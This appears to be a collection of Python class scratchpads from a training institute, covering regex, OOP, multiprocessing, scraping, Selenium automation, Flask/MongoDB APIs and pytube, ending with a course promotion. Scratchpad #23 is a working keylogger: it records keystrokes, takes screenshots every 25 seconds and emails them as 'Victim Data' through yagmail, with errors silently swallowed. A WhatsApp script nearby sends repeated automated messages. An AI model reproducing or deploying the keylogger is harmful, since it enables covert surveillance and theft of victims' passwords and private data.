# # #     "Call us today on +91 9876654321 or +919876654567 and get started.")
# # # print(result)

# import re

# # def extract_phone_no(input_data):
# #     phone_regex = re.compile(r"\+?91\s?\d{10}")
# #     match = phone_regex.search(input_data)

# #     if match:
# #         return match.group()
# #     return None

# # extract_phone_no("Call us today on +91 9876654321 and get started.")

# def is_valid_phone(phone_no):
#     # phone_regex = re.compile(r"\+?91\s?\d{10}")
#     # match = phone_regex.fullmatch(phone_no)
#     phone_regex = re.compile(r"^\+?91\s?\d{10}$")
#     match = phone_regex.search(phone_no)
#     if match:
#         return True
#     return False

# print(is_valid_phone("+919876543212"))


class Bank:

    def __init__(self, name):
        self.name = name
        self.customers = []

    def create_customer(self, first_name, last_name):
        customer = Customer(first_name, last_name)
        self.customers.append(customer)
        return customer


class Customer:

    def __init__(self, first_name, last_name):
        self.first_name = first_name
        self.last_name = last_name
        self.balance = 0


sbi = Bank("State Bank of India")
aryan = sbi.create_customer("Aryan", "Bafna")

Scratchpad #22

# # # import random as r
# # from random import randint as ri, choice, shuffle, random as r
# # # from random import *

# # def random():
# #     return "RANDOM MESSAGE"

# # print(random())
# # print(ri(0, 10))

# from datetime import datetime
# import threading
# import multiprocessing

# def dummy_func(x):
#     print(f"Job-{x} started: {datetime.now()}")
#     a = []
#     for i in range(40000):
#         for j in range(2000):
#             a.append([i, j])
#             a.clear()
#     print(f"Job-{x} ended: {datetime.now()}")

# if __name__ == "__main__":
#     # start_time = datetime.now()
#     # dummy_func(1)
#     # dummy_func(2)
#     # dummy_func(3)
#     # dummy_func(4)
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     # t1 = threading.Thread(target=dummy_func, args=(1, ))
#     # t2 = threading.Thread(target=dummy_func, args=(2, ))
#     # t3 = threading.Thread(target=dummy_func, args=(3, ))
#     # t4 = threading.Thread(target=dummy_func, args=(4, ))

#     # start_time = datetime.now()
#     # t1.start()
#     # t2.start()
#     # t3.start()
#     # t4.start()
#     # t1.join()
#     # t2.join()
#     # t3.join()
#     # t4.join()
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     p1 = multiprocessing.Process(target=dummy_func, args=(1, ))
#     p2 = multiprocessing.Process(target=dummy_func, args=(2, ))
#     p3 = multiprocessing.Process(target=dummy_func, args=(3, ))
#     p4 = multiprocessing.Process(target=dummy_func, args=(4, ))

#     start_time = datetime.now()
#     p1.start()
#     p2.start()
#     p3.start()
#     p4.start()
#     p1.join()
#     p2.join()
#     p3.join()
#     p4.join()
#     print(f"Total time taken: {datetime.now() - start_time}")

# rahul@rstforum.co.in
import uuid
import datetime


class Company:

    def __init__(self, name, address, phone_nos, email,
                 company_registration_code):
        self.name = name
        self.address = address
        self.phone_nos = phone_nos
        self.email = email
        self.company_registration_code = company_registration_code
        self.employees = []

    def __repr__(self):
        return self.name

    def create_employee(self, first_name, middle_name, last_name, address,
                        aadhar_card_no, pan_card_no, phone, email):
        if not all([
                first_name, middle_name, last_name, address, aadhar_card_no,
                pan_card_no, phone, email
        ]):
            raise ValueError("All fields are required to create an employee")

        new_employee = Employee(first_name, middle_name, last_name, address,
                                aadhar_card_no, pan_card_no, phone, email)
        self.employees.append(new_employee)
        return new_employee

    def find_employee(self, employee_id):
        for employee in self.employees:
            if employee.employee_id == employee_id:
                return employee
        raise ValueError("Employee not found")

    def filter_employees(self, name):
        filtered = [
            employee for employee in self.employees
            if name in employee.get_full_name()
        ]
        if not filtered:
            raise ValueError("No employee found with this name.")
        return filtered

    def delete_employee(self, employee_id):
        self.employees = [
            employee for employee in self.employees
            if employee.employee_id != employee_id
        ]


class Employee:

    def __init__(self, first_name, middle_name, last_name, address,
                 aadhar_card_no, pan_card_no, phone, email):
        self.first_name = first_name
        self.middle_name = middle_name
        self.last_name = last_name
        self.address = address
        self.aadhar_card_no = aadhar_card_no
        self.pan_card_no = pan_card_no
        self.phone = phone
        self.email = email
        self.employee_id = str(uuid.uuid4())
        self.attendance = []

    def __repr__(self):
        return self.first_name + " " + self.middle_name + " " + self.last_name

    def get_full_name(self):
        return f"{self.first_name} {self.middle_name} {self.last_name}"

    def get_details(self):
        return {
            "first_name": self.first_name,
            "middle_name": self.middle_name,
            "last_name": self.last_name,
            "address": self.address,
            "aadhar_card_no": self.aadhar_card_no,
            "pan_card_no": self.pan_card_no,
            "email": self.email,
            "phone": self.phone,
            "employee_id": self.employee_id
        }

    def edit_details(self,
                     first_name=None,
                     middle_name=None,
                     last_name=None,
                     address=None,
                     phone=None,
                     email=None,
                     aadhar_card_no=None,
                     pan_card_no=None):
        if first_name:
            self.first_name = first_name
        if middle_name:
            self.middle_name = middle_name
        if last_name:
            self.last_name = last_name
        if address:
            self.address = address
        if phone:
            self.phone = phone
        if email:
            self.email = email
        if aadhar_card_no:
            self.aadhar_card_no = aadhar_card_no
        if pan_card_no:
            self.pan_card_no = pan_card_no

    def punch_in(self):
        self.attendance.append({'date': datetime.now(), 'punch': 'in'})

    def punch_out(self):
        self.attendance.append({'date': datetime.now(), 'punch': 'out'})

Scratchpad #23

from pynput.keyboard import Key, Listener
from time import sleep
import pyautogui
import yagmail
from datetime import datetime

count = 0
keys = []

try:

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(" ")
                elif k.find("cap_lock") > 0:
                    f.write("<CAPS_LOCK>")
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_email():
        receiver_email = ""

        subject = f"Victim Data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
        yag = yagmail.SMTP("", "")
        contents = ["<b><font color='red'>YOUR VICTIM DATA</font></b>"]
        attachments = ["log.txt", "screenshot.png"]
        yag.send(receiver_email, subject, contents, attachments)
        print("Email sent")

    def on_release(key):
        if key == Key.esc:
            return False

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            sleep(25)
            take_screenshot()
            send_email()
        listener.join()
except:
    pass

Scratchpad 24

data = """
<html>
    <head>
        <title>My Web App</title>
    </head>
    <body>
        <h1>Hello World</h1>
        <div>
            <h2 id="special">Hello Universe</h2>
            <h2>Hello Universe</h2>
            <h2>Hello Universe</h2>
            <p>
                Lorem ipsum, dolor sit amet consectetur adipisicing elit. Quos, error,
                illo recusandae fugiat quis molestias <b>laudantium doloribus</b> ipsum
                ex ratione tenetur dolore modi, aliquid reiciendis? Quasi perspiciatis
                expedita vel et.
            </p>
            <p>Lorem ipsum dolor sit amet consectetur, adipisicing elit. Officiis vitae veritatis iure, sed nam animi nisi fugiat ipsam qui nostrum.</p>
            <ul>
                <li class="red-text">Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
                <li class="red-text">Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
                <li class="red-text">Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
                <li>Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
            </ul>
            <a href="https://google.com" target="_blank">Go to google</a>
        </div>
    </body>
</html>
"""

from bs4 import BeautifulSoup

soup = BeautifulSoup(data, "html.parser")
# print(type(soup))
# print(soup.body.div.p)

# print(soup.find("li"))
# print(soup.find_all("li"))
# print(soup.find(id="special"))
# print(soup.find_all(class_="red-text"))

# print(soup.find(id="special").get_text())
# print(soup.find("a")["href"])

# import requests
# from bs4 import BeautifulSoup
# from csv import writer

# response = requests.get("https://arstechnica.com/")

# soup = BeautifulSoup(response.text, "html.parser")

# articles = soup.find_all(class_="article")

# with open("articles.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["title", "excerpt", "author", "date", "link"])

#     for article in articles:
#         title = article.find("h2").get_text()
#         excerpt = article.find(class_="excerpt").get_text()
#         author = article.find("span").get_text()
#         date = article.find("time").get_text()
#         link = article.find("a")["href"]

#         csv_writer.writerow([title, excerpt, author, date, link])

# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep

# browser = webdriver.Chrome()
# browser.maximize_window()

# browser.get("https://www.youtube.com/")
# sleep(3)

# search_box = browser.find_element(
#     By.XPATH,
#     "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input"
# )
# search_box.click()
# search_box.send_keys("oppenheimer trailer", Keys.ENTER)
# sleep(3)

# video = browser.find_element(By.PARTIAL_LINK_TEXT, "Official Trailer")
# sleep(1)
# video.click()

# # video = browser.find_element(
# #     By.XPATH,
# #     "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string"
# # )
# # video.click()

# sleep(20)

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from time import sleep

browser = webdriver.Chrome()
browser.maximize_window()

browser.get("https://web.whatsapp.com/")
sleep(20)

search_box = browser.find_element(
    By.XPATH,
    "/html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p")
search_box.click()
search_box.send_keys("Python Daily Eve RS 2/6/23", Keys.ENTER)
sleep(2)

for num in range(20):
    message_box = browser.find_element(
        By.XPATH,
        "/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p"
    )
    message_box.click()
    message_box.send_keys("TEST MESSAGE FROM PYTHON", Keys.ENTER)
    sleep(1)

sleep(2000)

# /html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p
# Python Daily Eve RS 2/6/23
# /html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p

Scratchpad #25-26 #app

# import pymongo
# from pprint import pprint

# client = pymongo.MongoClient()
# mydb = client["mydb"]  # use mydb
# users = mydb["users"]

# # # user = {"name": "John Doe", "email": "johndoe@example.com", "age": 20}
# # # users_data = [{
# # #     "name": "Jack Doe",
# # #     "email": "jackma@example.com",
# # #     "age": 25
# # # }, {
# # #     "name": "Jill Roe",
# # #     "email": "jill@example.com",
# # #     "age": 28,
# # #     "phone": "+91 2986750675899"
# # # }]

# # users.insert_one(user)
# # users.insert_many(users_data)

# # all_users = users.find()
# # for user in all_users:
# #     pprint(user)

# # users.update_one(
# #     {"name": "John Doe"},
# #     {"$set": {
# #         "profession": "Python Programmer",
# #         "phone": "+91 8876543221"
# #     }})

# # users.delete_one({"email": {"$gt": 22}})

# import sqlite3

# conn = sqlite3.connect("mydb.sqlite")
# cursor = conn.cursor()

# # cursor.execute(
# #     "CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT, age INTEGER);"
# # )

# user = ("John Doe", "john@gmail.com")

# cursor.execute("INSERT INTO users (name, email) VALUES (?, ?)", user)

# # cursor.execute("SELECT * FROM users")
# # data = cursor.fetchall()
# # print(data)

# # cursor.execute("DELETE FROM users WHERE name = ?", ("John Doe", ))

# conn.commit()
# conn.close()

from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def home():
    return "API is running."


@app.route("/about")
def about():
    return {"message": "This is the data you wanted."}


if __name__ == "__main__":
    app.run()




# from flask import Flask, request, jsonify
# from pymongo import MongoClient
# from bson import ObjectId
# from twilio.rest import Client
# from random import randint

# app = Flask(__name__)
# client = MongoClient("mongodb://localhost:27017")
# db = client["users_crud_db"]
# collection = db["users"]

# # Twilio Creds
# account_sid = ""
# auth_token = ""
# twilio_phone_number = ""

# # Twilio Client
# twilio_client = Client(account_sid, auth_token)

# # Generate a random OTP
# def generate_otp():
#     return str(randint(1000, 9999))

# @app.route("/")
# def home():
#     return "API is running."

# # Create a new user record/document
# @app.route("/api/users", methods=["POST"])
# def create_user():
#     data = request.json
#     otp = generate_otp()
#     message = f"Your OTP for user registration is: {otp}"
#     twilio_client.messages.create(to=data["phone_no"],
#                                   from_=twilio_phone_number,
#                                   body=message)
#     data["otp"] = int(otp)
#     result = collection.insert_one(data)
#     return {"id": str(result.inserted_id)}, 201

# # Verify the OTP and update the user record
# @app.route("/api/verify_otp/<id>", methods=["POST"])
# def verify_otp(id):
#     data = request.json
#     user = collection.find_one({"_id": ObjectId(id)})
#     if user is None:
#         return {"message": "User not found"}, 404
#     if user.get("verified", False):
#         return {"message": "User already verified"}, 400
#     if user["otp"] != int(data["otp"]):
#         return {"message": "Invalid OTP"}, 400

#     result = collection.update_one({"_id": ObjectId(id)}, {
#         "$set": {
#             "verified": True
#         },
#         "$unset": {
#             "otp": ""
#         }
#     })
#     if result.modified_count == 0:
#         return {"message": "User already verified"}, 400
#     return {"message": "User verified"}, 200

# # Get all user documents
# @app.route("/api/users", methods=["GET"])
# def get_all_users():
#     data = list(collection.find())
#     for user in data:
#         user["_id"] = str(user["_id"])
#     return jsonify(data)

# # Get a single user document by ID
# @app.route("/api/users/<id>", methods=["GET"])
# def get_user(id):
#     data = collection.find_one({"_id": ObjectId(id)})
#     if data is None:
#         return {"message": "User not found"}, 404
#     data["_id"] = str(data["_id"])
#     return jsonify(data)

# # Update a user document by ID
# @app.route("/api/users/<id>", methods=["PUT"])
# def update_user(id):
#     data = request.json
#     result = collection.update_one({"_id": ObjectId(id)}, {"$set": data})
#     if result.modified_count == 0:
#         return {"message": "User not found or no updates happened"}, 404
#     return {"message": "User updated"}

# # Delete a user document by ID
# @app.route("/api/users/<id>", methods=["DELETE"])
# def delete_user(id):
#     result = collection.delete_one({"_id": ObjectId(id)})
#     if result.deleted_count == 0:
#         return {"message": "User not found"}, 404
#     return {"message": "User deleted"}

# if __name__ == "__main__":
#     app.run(debug=True)

# # localhost:5000/api/users
# # something.com/api/users <- endpoint

# -------------------

# from pytube import YouTube

# video_url = input("Enter the YouTube video URL: ")

# yt = YouTube(video_url)
# stream = yt.streams.get_highest_resolution()

# stream.download()

# print(f"Successfully download video {yt.title} to the current directory")
Learn this on the racks

Reading it is one thing. Configuring it is another.

Our batches run labs like this one end to end on real kit, in the Mumbai classroom or live online, taught by practising engineers.